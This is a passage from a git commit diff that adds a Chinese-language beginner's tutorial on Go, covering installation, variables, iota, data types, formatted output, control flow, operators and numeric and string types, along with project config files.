first commit
This commit is contained in:
commit
6b12e386da
1
.gitattributes
vendored
Normal file
1
.gitattributes
vendored
Normal file
@ -0,0 +1 @@
|
||||
*.md linguist-language=Go
|
76
.gitignore
vendored
Normal file
76
.gitignore
vendored
Normal file
@ -0,0 +1,76 @@
|
||||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
|
||||
# Runtime data
|
||||
pids
|
||||
*.pid
|
||||
*.seed
|
||||
*.pid.lock
|
||||
*.json.lock
|
||||
|
||||
# Directory for instrumented libs generated by jscoverage/JSCover
|
||||
lib-cov
|
||||
|
||||
# Coverage directory used by tools like istanbul
|
||||
coverage
|
||||
|
||||
# nyc test coverage
|
||||
.nyc_output
|
||||
|
||||
# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
|
||||
.grunt
|
||||
|
||||
# Bower dependency directory (https://bower.io/)
|
||||
bower_components
|
||||
|
||||
# node-waf configuration
|
||||
.lock-wscript
|
||||
|
||||
# Compiled binary addons (https://nodejs.org/api/addons.html)
|
||||
build/Release
|
||||
|
||||
# Dependency directories
|
||||
node_modules/
|
||||
jspm_packages/
|
||||
|
||||
# TypeScript v1 declaration files
|
||||
typings/
|
||||
|
||||
# Optional npm cache directory
|
||||
.npm
|
||||
|
||||
# Optional eslint cache
|
||||
.eslintcache
|
||||
|
||||
# Optional REPL history
|
||||
.node_repl_history
|
||||
|
||||
# Output of 'npm pack'
|
||||
*.tgz
|
||||
|
||||
# Yarn Integrity file
|
||||
.yarn-integrity
|
||||
|
||||
# dotenv environment variables file
|
||||
.env
|
||||
|
||||
# next.js build output
|
||||
.next
|
||||
|
||||
# jetbrains file
|
||||
.idea/
|
||||
trunk/.idea/
|
||||
|
||||
# mac file
|
||||
.DS_Store
|
||||
*/.DS_Store
|
||||
|
||||
# production file
|
||||
dist/
|
||||
|
||||
# go practice file
|
||||
*.go
|
9
.vscode/settings.json
vendored
Normal file
9
.vscode/settings.json
vendored
Normal file
@ -0,0 +1,9 @@
|
||||
{
|
||||
"editor.defaultFormatter": "esbenp.prettier-vscode",
|
||||
"editor.formatOnSave": true,
|
||||
"editor.formatOnType": true,
|
||||
"editor.codeActionsOnSave": {
|
||||
"source.fixAll.eslint": true /*自动格式化js*/,
|
||||
"source.fixAll.markdownlint": true /*自动格式化markdown*/
|
||||
}
|
||||
}
|
140
01-基础语法/01-Go简介.md
Normal file
140
01-基础语法/01-Go简介.md
Normal file
@ -0,0 +1,140 @@
|
||||
## 一 Go语言介绍
|
||||
|
||||
Go语言是Google公司开发的一种静态、编译型语言,具备自动垃圾回收功能,原生支持并发开发。
|
||||
|
||||
Go的诞生是为了解决当下编程语言对并发支持不友好、编译速度慢、编程复杂这三个主要问题。
|
||||
|
||||
Go既拥有接近静态编译语言(如C)的安全和性能,又有接近脚本语言(如python)的开发效率,其主要特点有:
|
||||
- 天然并发:语言层面支持并发,包括gorotuine、channel
|
||||
- 语法优势:没有历史包袱,包含多返回值、匿名函数、defer
|
||||
- 语言层面支持多核CPU利用
|
||||
|
||||
与Java相比的不同:
|
||||
- 没有Java支持的一些面向对象思想:重载、构造函数、继承等
|
||||
- 代码规范严格:花括号位置固定,变量名大小写代表公有私有等
|
||||
- 支持函数式编程:匿名函数,闭包
|
||||
- 接口非侵入式:不需要显式声明对接口的继承,实现了接口的方法即为实现了该接口类型
|
||||
|
||||
## 二 Go安装
|
||||
|
||||
推荐使用官方的安装包直接安装,下载地址:https://golang.google.cn/dl/
|
||||
|
||||
贴士:本笔记都是基于go1.13
|
||||
|
||||
**Win安装Go**:
|
||||
打开Win安装包下一步下一步即可,默认安装在目录:c:\Go
|
||||
|
||||
**Mac安装Go**:
|
||||
打开Mac安装包下一步下一步即可,需要预装Xcode。安装完毕后需配置环境变量即可使用,但是如果要使用一些`go mod`功能推荐如下配置:
|
||||
```
|
||||
vim ~/.bash_profile
|
||||
|
||||
export GOROOT=/usr/local/go # golang本身的安装位置
|
||||
export GOPATH=~/go/ # golang包的本地安装位置
|
||||
export GOPROXY=https://goproxy.io # golang包的下载代理
|
||||
export GO111MODULE=on # 开启go mod模式
|
||||
export PATH=$PATH:$GOROOT/bin # go本身二进制文件的环境变量
|
||||
export PATH=$PATH:$GOPATH/bin # go第三方二进制文件的环境便令
|
||||
|
||||
# 重启环境
|
||||
source ~/.bash_profile
|
||||
```
|
||||
|
||||
**Linux安装Go**:
|
||||
```
|
||||
# 下载解压
|
||||
wget https://dl.google.com/go/go1.13.1.linux-amd64.tar.gz
|
||||
tar zxvf go*.tar.gz -C /usr/local/
|
||||
|
||||
# 配置环境:注意该环境必须是go1.11版本及以上且项目要求使用go mod才可以开启
|
||||
vim /etc/profile
|
||||
export GOROOT=/usr/local/go # golang本身的安装位置
|
||||
export GOPATH=~/go # golang包的本地安装位置
|
||||
export GOPROXY=https://goproxy.io,direct # golang包的下载代理,回源地址获取
|
||||
export GO111MODULE=on # 开启go mod模式
|
||||
export PATH=$PATH:$GOROOT/bin # go本身二进制文件的环境变量
|
||||
export PATH=$PATH:$GOPATH/bin # go第三方二进制文件的环境便令
|
||||
|
||||
# 重启环境
|
||||
source /etc/profile
|
||||
```
|
||||
|
||||
测试安装:
|
||||
```
|
||||
# 查看go版本
|
||||
go version
|
||||
|
||||
# 查看go环境配置
|
||||
go env
|
||||
```
|
||||
|
||||
关于`go modules`的详细讲解位于本章12节。
|
||||
|
||||
## 三 HelloWorld
|
||||
|
||||
新建文件`hello.go`,代码如下:
|
||||
```go
|
||||
package main //每个程序都有且仅有一个main包
|
||||
|
||||
import "fmt"
|
||||
|
||||
func main() { //主函数main只有一个
|
||||
fmt.Println("Hello World!") //函数调用:包名.函数名
|
||||
}
|
||||
```
|
||||
|
||||
运行文件:
|
||||
```
|
||||
# 执行方式一:先编译,再运行
|
||||
go build hello.go # 编译。在同级目录下生成文件`hello`,添加参数`-o 名称` 则可指定生成的文件名
|
||||
./hello # 运行。贴士:win下生成的是.exe文件,直接双击执行即可
|
||||
|
||||
# 执行方式二:直接运行
|
||||
go run hello.go
|
||||
```
|
||||
|
||||
两种执行流程的区别:
|
||||
- 先编译方式:可执行文件可以在任意没有go环境的机器上运行,(因为go依赖被打包进了可执行文件)
|
||||
- 直接执行方式:源码执行时,依赖于机器上的go环境,没有go环境无法直接运行
|
||||
|
||||
## 四 Go语法注意
|
||||
|
||||
- Go源文件以 "go" 为扩展名
|
||||
- 与Java、C语言类似,Go应用程序的执行入口也是main()函数
|
||||
- Go语言严格区分大小写
|
||||
- Go不需要分号结尾
|
||||
- Go编译是一行一行执行,所以不能将类似两个 Print 函数写在一行
|
||||
- Go语言定义的变量或者import的包如果没有使用到,代码不能编译通过
|
||||
- Go的注释使用 // 或者 /* */
|
||||
|
||||
## 五 开发工具推荐
|
||||
|
||||
笔者推荐的go开发工具:
|
||||
- goland
|
||||
- vscode
|
||||
|
||||
vscode的相关go插件会出现无法下载情况,解决办法:
|
||||
```
|
||||
# 如果开启了go mod,则
|
||||
go get -u -v github.com/ramya-rao-a/go-outline
|
||||
go get -u -v github.com/acroca/go-symbols
|
||||
go get -u -v golang.org/x/tools/cmd/guru
|
||||
go get -u -v golang.org/x/tools/cmd/gorename
|
||||
go get -u -v github.com/rogpeppe/godef
|
||||
go get -u -v github.com/sqs/goreturns
|
||||
go get -u -v github.com/cweill/gotests/gotests
|
||||
go get -u -v golang.org/x/lint/golint
|
||||
|
||||
# 如果未开启go mod,则需要进入cd $GOPATH/src ,使用 git clone 下载上述文件
|
||||
|
||||
# 安装
|
||||
cd $GOPATH
|
||||
go install github.com/ramya-rao-a/go-outline
|
||||
go install github.com/acroca/go-symbols
|
||||
go install golang.org/x/tools/cmd/guru
|
||||
go install golang.org/x/tools/cmd/gorename
|
||||
go install github.com/rogpeppe/godef
|
||||
go install github.com/sqs/goreturns
|
||||
go install github.com/cweill/gotests/gotests
|
||||
go install golang.org/x/lint/golint
|
||||
```
|
130
01-基础语法/02-标识符与变量.md
Normal file
130
01-基础语法/02-标识符与变量.md
Normal file
@ -0,0 +1,130 @@
|
||||
## 一 标识符
|
||||
|
||||
#### 1.1 关键字
|
||||
|
||||
Go现在拥有25个关键字:
|
||||
```
|
||||
if for func case struct import
|
||||
go type chan defer default package
|
||||
map const else break select interface
|
||||
var goto range return switch continue fallthrough
|
||||
```
|
||||
|
||||
#### 1.2 保留字
|
||||
|
||||
```
|
||||
内建常量:
|
||||
true false iota nil
|
||||
内建类型:
|
||||
int int8 int16 int32 int64
|
||||
uint uint8 uint16 uint32 uint64 uintptr
|
||||
float32 float64
|
||||
complex128 complex64
|
||||
bool:
|
||||
byte rune string error
|
||||
内建函数:
|
||||
make delete complex panic append copy
|
||||
close len cap real imag new recover
|
||||
```
|
||||
|
||||
## 二 变量
|
||||
|
||||
#### 2.1 变量声明
|
||||
|
||||
Go变量声明的三种方式:
|
||||
```go
|
||||
var a int // 声明一个变量,默认为0
|
||||
var b = 10 // 声明并初始化,且自动推导类型
|
||||
c := 20 // 初始化,且自动推导
|
||||
```
|
||||
|
||||
注意:
|
||||
- `:=`定义变量只能在函数内部使用,所以经常用var定义全局变量
|
||||
- Go对已经声明但未使用的变量会在编译阶段报错:`** not used`
|
||||
- Go中的标识符以字母或者下划线开头,大小写敏感
|
||||
- Go推荐使用驼峰命名
|
||||
|
||||
#### 2.2 多变量声明
|
||||
|
||||
```go
|
||||
var a,b string
|
||||
var a1,b1 string = "哼","哈"
|
||||
var a2,b2 int = 1,2 //类型可以直接省略
|
||||
c,d := 1,2
|
||||
var(
|
||||
e int
|
||||
f bool
|
||||
)
|
||||
```
|
||||
|
||||
#### 2.3 变量值互换
|
||||
|
||||
```go
|
||||
m,n = n,m //变量值互换
|
||||
temp,_ = m,n //匿名变量:变量值互换,且丢弃变量n
|
||||
```
|
||||
|
||||
#### 2.4 _丢弃变量
|
||||
|
||||
`_`是个特殊的变量名,任何赋予它的值都会被丢弃。该变量不占用命名空间,也不会分配内存。
|
||||
```go
|
||||
_, b := 34, 35 //将值`35`赋予`b`,并同时丢弃`34`:
|
||||
```
|
||||
|
||||
#### 2.5 := 声明的注意事项
|
||||
|
||||
下面是正确的代码示例:
|
||||
```go
|
||||
in, err := os.Open(file)
|
||||
out, err := os.Create(file) // err已经在上方定义,此处的 err其实是赋值
|
||||
```
|
||||
|
||||
但是如果在第二行赋值的变量名全部和第一行一致,则编译不通过:
|
||||
```go
|
||||
in, err := os.Open(file)
|
||||
in, err := os.Create(file) // 即 := 必须确保至少有一个变量是用于声明
|
||||
```
|
||||
|
||||
`:=`只有对已经在同级词法域声明过的变量才和赋值操作语句等价,如果变量是在外部词法域声明的,那么`:=`将会在当前词法域重新声明一个新的变量。
|
||||
|
||||
|
||||
#### 2.6 多数据分组书写
|
||||
|
||||
Go可以使用该方式声明多个数据:
|
||||
```go
|
||||
const(
|
||||
i = 100
|
||||
pi = 3.1415
|
||||
prefix = "Go_"
|
||||
)
|
||||
|
||||
var(
|
||||
i int
|
||||
pi float32
|
||||
prefix string
|
||||
)
|
||||
```
|
||||
|
||||
## 三 关键字iota
|
||||
|
||||
关键字iota声明初始值为0,每行递增1:
|
||||
```go
|
||||
const (
|
||||
a = iota // 0
|
||||
b = iota // 1
|
||||
c = iota // 2
|
||||
)
|
||||
|
||||
const (
|
||||
d = iota // 0
|
||||
e // 1
|
||||
f // 2
|
||||
)
|
||||
|
||||
//如果iota在同一行,则值都一样
|
||||
const (
|
||||
g = iota //0
|
||||
h,i,j = iota,iota,iota // 1,1,1
|
||||
// k = 3 // 此处不能定义缺省常量,会编译错误
|
||||
)
|
||||
```
|
99
01-基础语法/03-数据类型.md
Normal file
99
01-基础语法/03-数据类型.md
Normal file
@ -0,0 +1,99 @@
|
||||
## 一 数据类型分类
|
||||
|
||||
值类型:基本数据类型是Go语言实际的原子,复合数据类型是由不同的方式组合基本类型构造出来的数据类型,如:数组,slice,map,结构体
|
||||
```
|
||||
整型 int8,uint # 基础类型之数字类型
|
||||
浮点型 float32,float64 # 基础类型之数字类型
|
||||
复数 # 基础类型之数字类型
|
||||
布尔型 bool # 基础类型,只能存true/false,占据1个字节,不能转换为整型,0和1也不能转换为布尔
|
||||
字符串 string # 基础类型
|
||||
数组 # 复合类型
|
||||
结构体 struct # 复合类型
|
||||
```
|
||||
|
||||
引用类型:即保存的是对程序中一个变量的或状态的间接引用,对其修改将影响所有该引用的拷贝
|
||||
```
|
||||
指针 *
|
||||
切片 slice
|
||||
字典 map
|
||||
函数 func
|
||||
管道 chan
|
||||
接口 interface
|
||||
```
|
||||
|
||||
贴士:Go语言没有字符型,可以使用byte来保存单个字母
|
||||
|
||||
## 二 零值机制
|
||||
|
||||
Go变量初始化会自带默认值,不像其他语言为空,下面列出各种数据类型对应的0值:
|
||||
```go
|
||||
int 0
|
||||
int8 0
|
||||
int32 0
|
||||
int64 0
|
||||
uint 0x0
|
||||
rune 0 //rune的实际类型是 int32
|
||||
byte 0x0 // byte的实际类型是 uint8
|
||||
float32 0 //长度为 4 byte
|
||||
float64 0 //长度为 8 byte
|
||||
bool false
|
||||
string ""
|
||||
```
|
||||
|
||||
## 三 格式化输出
|
||||
|
||||
常用格式化输出:
|
||||
```
|
||||
%% %字面量
|
||||
%b 二进制整数值,基数为2,或者是一个科学记数法表示的指数为2的浮点数
|
||||
%c 该值对应的unicode字符
|
||||
%d 十进制数值,基数为10
|
||||
%e 科学记数法e表示的浮点或者复数
|
||||
%E 科学记数法E表示的浮点或者附属
|
||||
%f 标准计数法表示的浮点或者附属
|
||||
%o 8进制度
|
||||
%p 十六进制表示的一个地址值
|
||||
%s 输出字符串或字节数组
|
||||
%T 输出值的类型,注意int32和int是两种不同的类型,编译器不会自动转换,需要类型转换。
|
||||
%v 值的默认格式表示
|
||||
%+v 类似%v,但输出结构体时会添加字段名
|
||||
%#v 值的Go语法表示
|
||||
%t 单词true或false
|
||||
%q 该值对应的单引号括起来的go语法字符字面值,必要时会采用安全的转义表示
|
||||
%x 表示为十六进制,使用a-f
|
||||
%X 表示为十六进制,使用A-F
|
||||
%U 表示为Unicode格式:U+1234,等价于"U+%04X"
|
||||
```
|
||||
|
||||
示例:
|
||||
```go
|
||||
type User struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
user : = User{
|
||||
"overnote",
|
||||
1,
|
||||
}
|
||||
fmt.Printf("%%\n") // %
|
||||
fmt.Printf("%b\n", 16) // 10000
|
||||
fmt.Printf("%c\n", 65) // A
|
||||
fmt.Printf("%c\n", 0x4f60) // 你
|
||||
fmt.Printf("%U\n", '你') // U+4f60
|
||||
fmt.Printf("%x\n", '你') // 4f60
|
||||
fmt.Printf("%X\n", '你') // 4F60
|
||||
fmt.Printf("%d\n", 'A') // 65
|
||||
fmt.Printf("%t\n", 1 > 2) // false
|
||||
fmt.Printf("%e\n", 4396.7777777) // 4.396778e+03 默认精度6位
|
||||
fmt.Printf("%20.3e\n", 4396.7777777) // 4.397e+03 设置宽度20,精度3,宽度一般用于对齐
|
||||
fmt.Printf("%E\n", 4396.7777777) // 4.396778E+03
|
||||
fmt.Printf("%f\n", 4396.7777777) // 4396.777778
|
||||
fmt.Printf("%o\n", 16) // 20
|
||||
fmt.Printf("%p\n", []int{1}) // 0xc000016110
|
||||
fmt.Printf("Hello %s\n", "World") // Hello World
|
||||
fmt.Printf("Hello %q\n", "World") // Hello "World"
|
||||
fmt.Printf("%T\n", 3.0) // float64
|
||||
fmt.Printf("%v\n", user) // {overnote 1}
|
||||
fmt.Printf("%+v\n", user) // {Name:overnote Age:1}
|
||||
fmt.Printf("%#v\n", user) // main.User{Name:"overnote", Age:1}
|
||||
```
|
118
01-基础语法/04-流程控制.md
Normal file
118
01-基础语法/04-流程控制.md
Normal file
@ -0,0 +1,118 @@
|
||||
## 一 流程控制之-条件语句
|
||||
|
||||
#### 1.1 判断语句 if
|
||||
|
||||
`if`判断示例:
|
||||
```go
|
||||
// 初始化与判断写在一起: if a := 10; a == 10
|
||||
if i == '3' {
|
||||
}
|
||||
```
|
||||
|
||||
`if`的特殊写法:
|
||||
```go
|
||||
if err := Connect(); err != nil { // 这里的 err!=nil 才是真正的if判断表达式
|
||||
}
|
||||
```
|
||||
|
||||
#### 1.2 分支语句 switch
|
||||
|
||||
|
||||
示例:
|
||||
```go
|
||||
switch num {
|
||||
case 1: // case 中可以是表达式
|
||||
fmt.Println("111")
|
||||
case 2:
|
||||
fmt.Println("222")
|
||||
default:
|
||||
fmt.Println("000")
|
||||
}
|
||||
```
|
||||
|
||||
贴士:
|
||||
- Go保留了`break`,用来跳出switch语句,上述案例的分支中默认就书写了该关键字
|
||||
- Go也提供`fallthrough`,代表不跳出switch,后面的语句无条件执行
|
||||
|
||||
## 二 流程控制之-循环语句
|
||||
|
||||
#### 2.1 for循环
|
||||
|
||||
Go只支持for一种循环语句,但是可以对应很多场景:
|
||||
|
||||
```go
|
||||
// 传统的for循环
|
||||
for init;condition;post{
|
||||
}
|
||||
|
||||
// for循环简化
|
||||
var i int
|
||||
for ; ; i++ {
|
||||
if(i > 10){
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 类似while循环
|
||||
for condition {}
|
||||
|
||||
// 死循环
|
||||
for{
|
||||
}
|
||||
|
||||
// for range:一般用于遍历数组、切片、字符串、map、管道
|
||||
for k, v := range []int{1,2,3} {
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
#### 2.2 跳出循环
|
||||
|
||||
常用的跳出循环关键字:
|
||||
- `break`用于函数内跳出当前`for`、`switch`、`select`语句的执行
|
||||
- `continue`用于跳出`for`循环的本次迭代。
|
||||
- `goto`可以退出多层循环
|
||||
|
||||
break跳出循环案例(continue同下):
|
||||
```go
|
||||
OuterLoop:
|
||||
for i := 0; i < 2; i++ {
|
||||
for j := 0; j < 5; j++ {
|
||||
switch j {
|
||||
case 2:
|
||||
fmt.Println(i,j)
|
||||
break OuterLoop
|
||||
case 3:
|
||||
fmt.Println(i,j)
|
||||
break OuterLoop
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
goto跳出多重循环案例:
|
||||
```go
|
||||
for x:=0; x<10; x++ {
|
||||
|
||||
for y:=0; y<10; x++ {
|
||||
|
||||
if y==2 {
|
||||
goto breakHere
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
breakHere:
|
||||
fmt.Println("break")
|
||||
```
|
||||
|
||||
贴士:goto也可以用来统一错误处理。
|
||||
```go
|
||||
if err != nil {
|
||||
goto onExit
|
||||
}
|
||||
onExit:
|
||||
fmt.Pritln(err)
|
||||
exitProcess()
|
||||
```
|
108
01-基础语法/05-运算符.md
Normal file
108
01-基础语法/05-运算符.md
Normal file
@ -0,0 +1,108 @@
|
||||
## 一 运算符
|
||||
|
||||
#### 1.1 运算符汇总
|
||||
|
||||
```
|
||||
算术运算符: + - * / % ++ --
|
||||
关系运算符: == != <= >= < >
|
||||
逻辑运算符: ! && ||
|
||||
位运算: &(按位与) |(按位或) ^(按位取反) <<(左移) >>(右移)
|
||||
赋值运算符: = += -= *= /= %= <<= >>= &= ^= |=
|
||||
其他运算符: &(取地址) *(取指针值) <-(Go Channel相关运算符)
|
||||
```
|
||||
|
||||
#### 1.2 自增、自减
|
||||
|
||||
Go中只有`后--`和`后++`,且自增自减不能用于表达式中,只能独立使用:
|
||||
```go
|
||||
a = i++ // 错误用法
|
||||
if i++ > 0 {} // 错误用法
|
||||
i++ // 正确用法
|
||||
```
|
||||
|
||||
#### 1.3 位运算
|
||||
```
|
||||
& 按位与,参与运算的两个数二进制位相与:同时为1,结果为1,否则为0
|
||||
| 按位或,参与运算的两个数二进制位相或:有一个为1,结果为1,否则为0
|
||||
^ 按位异或:二进位不同,结果为1,否则为0
|
||||
<< 按位左移:二进位左移若干位,高位丢弃,低位补0,左移n位其实就是乘以2的n次方
|
||||
>> 按位右移:二进位右移若干位,右移n位其实就是除以2的n次方
|
||||
```
|
||||
|
||||
## 二 优先级
|
||||
|
||||
![](../images/go/01-01.svg)
|
||||
|
||||
## 三 进制转换
|
||||
|
||||
#### 1.1 常见进制
|
||||
|
||||
- 二进制:只有0和1,Go中不能直接使用二进制表示整数
|
||||
- 八进制:0-7,以数字0开头
|
||||
- 十进制:0-9
|
||||
- 十六进制:0-9以及A-F,以0X开头,A-F以及X不区分大小写
|
||||
|
||||
#### 1.2 任意进制转换为十进制
|
||||
|
||||
二进制转十进制:
|
||||
> 从最低位开始,每个位上数乘以2(位数-1)次方然后求和
|
||||
> 1011 = 1\*2<sup>0</sup> + 1\*2<sup>1</sup> + 0\*2<sup>2</sup> + 1\*2<sup>3</sup> = 11
|
||||
|
||||
八进制转十进制:
|
||||
> 从最低位开始,每个位上数乘以8(位数-1)次方然后求和
|
||||
> 0123 = 3\*8<sup>0</sup> + 2\*8<sup>1</sup> + 1\*8<sup>2</sup> + 0\*8<sup>3</sup> = 83
|
||||
|
||||
其他进制转十进制同理。
|
||||
|
||||
#### 1.3 十进制转其他进制
|
||||
|
||||
十进制转二进制:
|
||||
> 不断除以2,直到0为止,余数倒过来即可,如图计算28转换为二进制11100
|
||||
|
||||
![](../images/go/01-02.svg)
|
||||
|
||||
|
||||
十进制转八进制:不断除以8,直到0为止,余数倒过来即可。
|
||||
|
||||
十进制转十六进制:不断除以16,直到0为止,余数倒过来即可。
|
||||
|
||||
#### 1.4 其他进制互转
|
||||
|
||||
- 二进制转换八进制:将二进制数从低位开始,每三位一组,转换成八进制数即可
|
||||
- 二进制转十六进制:将二进制数从低位开始,每四位一组,转换成十六进制数即可
|
||||
- 八进制转换二进制:将八进制数每1位转换成一个3位的二进制数(首位0除外)
|
||||
- 十六进制转二进制:将十六进制每1位转换成对应的一个4位的二进制数即可
|
||||
|
||||
## 四 计算机运算原理
|
||||
|
||||
计算机常见的术语:
|
||||
- bit:比特,代表1个二进制位,一个位只能是0或者1
|
||||
- Byte:字节,代表8个二进制位,计算机中存储的最小单元是字节
|
||||
- WORD:双字节,即2个字节,16位
|
||||
- DWORD:两个WORD,即4个字节,32位
|
||||
|
||||
一些常用单位:
|
||||
- 1b:1bit,1位
|
||||
- 1Kb:1024bit,即1024位
|
||||
- 1Mb:1024*1024bit
|
||||
- 1B:1Byte,1字节,8位
|
||||
- 1KB:1024B
|
||||
- 1MB:1024K
|
||||
|
||||
对于有符号数而言,二进制的最高为是符号位:0表示正数,1表示负数,比如 1在二进制中:
|
||||
```
|
||||
1 二进制位:0000 0001
|
||||
-1 二进制位:1000 0001
|
||||
```
|
||||
|
||||
正数的原码、反码、补码都一样,负数的反码=原码符号位不变,其他位取反,补码是反码+1
|
||||
```
|
||||
1 -1
|
||||
原码 0000 0001 1000 0001
|
||||
反码 0000 0001 1111 1110
|
||||
补码 0000 0001 1111 1111
|
||||
```
|
||||
|
||||
常见理解:
|
||||
- 0的反码补码都是0
|
||||
- 计算机中是以补码形式运算的
|
107
01-基础语法/06-值类型-1-数值类型.md
Normal file
107
01-基础语法/06-值类型-1-数值类型.md
Normal file
@ -0,0 +1,107 @@
|
||||
## 一 数值类型
|
||||
|
||||
数值类型指基本类型中的:整型、浮点型、复数。
|
||||
|
||||
## 二 整数
|
||||
|
||||
整数类型有无符号(如int)和带符号(如uint)两种,这两种类型的长度相同,但具体长度取决于不同编译器的实现。
|
||||
|
||||
int8、int16、int32和int64四种有符号整数类型,分别对应8、16、32、64bit大小的有符号整数,
|
||||
同样uint8、uint16、uint32和uint64对应四种无符号整数类型。
|
||||
|
||||
有符号类型:
|
||||
```
|
||||
int 32位系统占4字节(与int32范围一样),64位系统占8个节(与int64范围一样)
|
||||
int8 占据1字节 范围 -128 ~ 127
|
||||
int16 占据2字节 范围 -2(15次方) ~ 2(15次方)-1
|
||||
int32 占据4字节 范围 -2(31次方) ~ 2(31次方)-1
|
||||
int64 占据8字节 范围 -2(63次方) ~ 2(63次方)-1
|
||||
rune int32的别称
|
||||
```
|
||||
|
||||
无符号类型:
|
||||
```
|
||||
uint 32位系统占4字节(与uint32范围一样),64位系统占8字节(与uint64范围一样)
|
||||
uint8 占据1字节 范围 0 ~ 255
|
||||
uint16 占据2字节 范围 0 ~ 2(16次方)-1
|
||||
uint32 占据4字节 范围 0 ~ 2(32次方)-1
|
||||
uint64 占据8字节 范围 0 ~ 2(64次方)-1
|
||||
byte uint8的别称
|
||||
```
|
||||
|
||||
注意:
|
||||
- 上述类型的变量由于是不同类型,不允许互相赋值或操作
|
||||
- Go默认的整型类型是int
|
||||
- 查看数据所占据的字节数方法:unsafe.Sizeof()
|
||||
|
||||
## 三 浮点类型
|
||||
|
||||
#### 3.1 浮点类型的分类
|
||||
```
|
||||
float32 单精度 占据4字节 范围 -3.403E38 ~ 3.403E38 (math.MaxFloat32)
|
||||
float64 双精度 占据8字节 范围 -1.798E208 ~ 1.798E308 (math.MaxFloat64)
|
||||
```
|
||||
|
||||
由上看出:
|
||||
- 浮点数是有符号的,浮点数在机器中存放形式是:浮点数=符号位+指数位+尾数位
|
||||
- 浮点型的范围是固定的,不受操作系统限制
|
||||
- `.512` 这样数可以识别为 `0.512`
|
||||
- 科学计数法:
|
||||
- 5.12E2 = 5.12 * 10<sup>2</sup>
|
||||
- 5.12E-2 = 5.12 / 10<sup>2</sup>
|
||||
|
||||
#### 3.2 精度损失
|
||||
|
||||
float32可以提供大约6个十进制数的精度,float64大约可以提供15个十进制的精度(一般选择float64)
|
||||
```go
|
||||
var num1 float32 = -123.0000901
|
||||
var num2 float64 = -123.0000901
|
||||
fmt.Println("num1=",num1) // -123.00009
|
||||
fmt.Println("num2=",num2) // -123.0000901
|
||||
```
|
||||
#### 3.3 浮点数判断相等
|
||||
|
||||
使用 == 号判断浮点数,是不可行的,替代方案如下:
|
||||
```go
|
||||
func isEqual(f1,f2,p float64) bool {
|
||||
// p为用户自定义精度,如:0.00001
|
||||
return math.Abs(f1-f2) < p
|
||||
}
|
||||
```
|
||||
|
||||
## 四 复数
|
||||
|
||||
Go中复数默认类型是complex128(64位实数+64位虚数)。如果需要小一些的,也有complex64(32位实数+32位虚数)。
|
||||
|
||||
复数的形式为`RE + IMi`,其中RE是实数部分,IM是虚数部分,而最后的i是虚数单位。
|
||||
|
||||
如下所示:
|
||||
```go
|
||||
var t complex128
|
||||
t = 2.1 + 3.14i
|
||||
t1 = complex(2.1,3.14) // 结果同上
|
||||
fmt.Println(real(t)) // 实部:2.1
|
||||
fmt.Println(imag(t)) // 虚部:3.14
|
||||
```
|
||||
|
||||
## 五 NaN非数
|
||||
|
||||
go中的`NaN`非数:
|
||||
```go
|
||||
var z float64
|
||||
// 输出 "0 -0 +Inf -Inf NaN"
|
||||
fmt.Println(z, -z, 1/z, -1/z, z/z)
|
||||
```
|
||||
注意:
|
||||
- 函数`math.IsNaN`用于测试一个数是否是非数NaN,
|
||||
- 函数`math.NaN`则返回非数对应的值。
|
||||
- 虽然可以用math.NaN来表示一个非法的结果,但是测试一个结果是否是非数NaN则是充满风险的,因为NaN和任何数都是不相等的。
|
||||
|
||||
```go
|
||||
nan := math.NaN()
|
||||
// "false false false"
|
||||
fmt.Println(nan == nan, nan < nan, nan > nan)
|
||||
```
|
||||
|
||||
|
||||
|
220
01-基础语法/06-值类型-2-字符串.md
Normal file
220
01-基础语法/06-值类型-2-字符串.md
Normal file
@ -0,0 +1,220 @@
|
||||
## 一 字符
|
||||
|
||||
Golang 中没有专门的字符类型,如果要存储单个字符(字母),一般使用 byte 来保存,且使用单引号包裹。
|
||||
|
||||
```go
|
||||
var c1 byte = 'a'
|
||||
var c2 byte = '0'
|
||||
fmt.Println("c1=", c1) //输出 97
|
||||
fmt.Println("c2=", c2) //输出48
|
||||
fmt.Printf("c1=%c,c2=%c\n", c1, c2) //输出原值 a 0
|
||||
|
||||
//var c3 byte = '北'
|
||||
//fmt.Printf("c3=%c", c3) // 溢出错误:overflows byte
|
||||
```
|
||||
|
||||
贴士:
|
||||
- 字符类型也可以用`d%`打印为整型
|
||||
- 如果我们保存的字符在 ASCII 表的,比如[0-1, a-z,A-Z..]直接可以保存到 byte
|
||||
- 如果我们保存的字符对应码值大于 255,这时我们可以考虑使用 int 类型保存
|
||||
- 如果我们需要安装字符的方式输出,这时我们需要格式化输出,即 fmt.Printf(“%c”, c1)
|
||||
- 字符可以和整型进行运算
|
||||
|
||||
## 二 字符串
|
||||
|
||||
传统的字符串是由字符组成的,而Go的字符串是由单个字节连接起来的,即Go字符串是一串固定长度的字符连接起来的字符序列。
|
||||
|
||||
字符串在Go语言中是基本类型,内容在初始化后不能修改。
|
||||
|
||||
Go中的字符串都是采用UTF-8字符集编码,使用一对双引号`""`或反引号` `` `定义。` `` `可以额外解析换行,即其没有字符转义功能。
|
||||
|
||||
```go
|
||||
var str1 string
|
||||
str1 = "Hello "
|
||||
str2 := " World!"
|
||||
|
||||
fmt.Println(str1[0]) // 输出字符串第一个字符 72
|
||||
fmt.Println(len(str1)) // 输出长度 6
|
||||
fmt.Println(str1 + str2) // 输出不带空格的
|
||||
|
||||
// 字符串不可变,编译报错: cannot assign to 因为
|
||||
// str1[0] = 'c'
|
||||
```
|
||||
|
||||
由于Go中的字符串不可直接改变,可以使用下列两种方式进行修改:
|
||||
|
||||
方式一:通过转换为字节数组`[]byte`类型,构造一个临时字符串
|
||||
```go
|
||||
str := "hello"
|
||||
|
||||
strTemp := []byte(str)
|
||||
fmt.Println("strTemp=", strTemp) // [104 101 108 108 111]
|
||||
|
||||
strTemp[0] = 'c'
|
||||
strResult := string(strTemp)
|
||||
fmt.Println("strResult=", strResult) // strResult= cello
|
||||
```
|
||||
|
||||
方式二:使用切片
|
||||
```go
|
||||
str := "hello"
|
||||
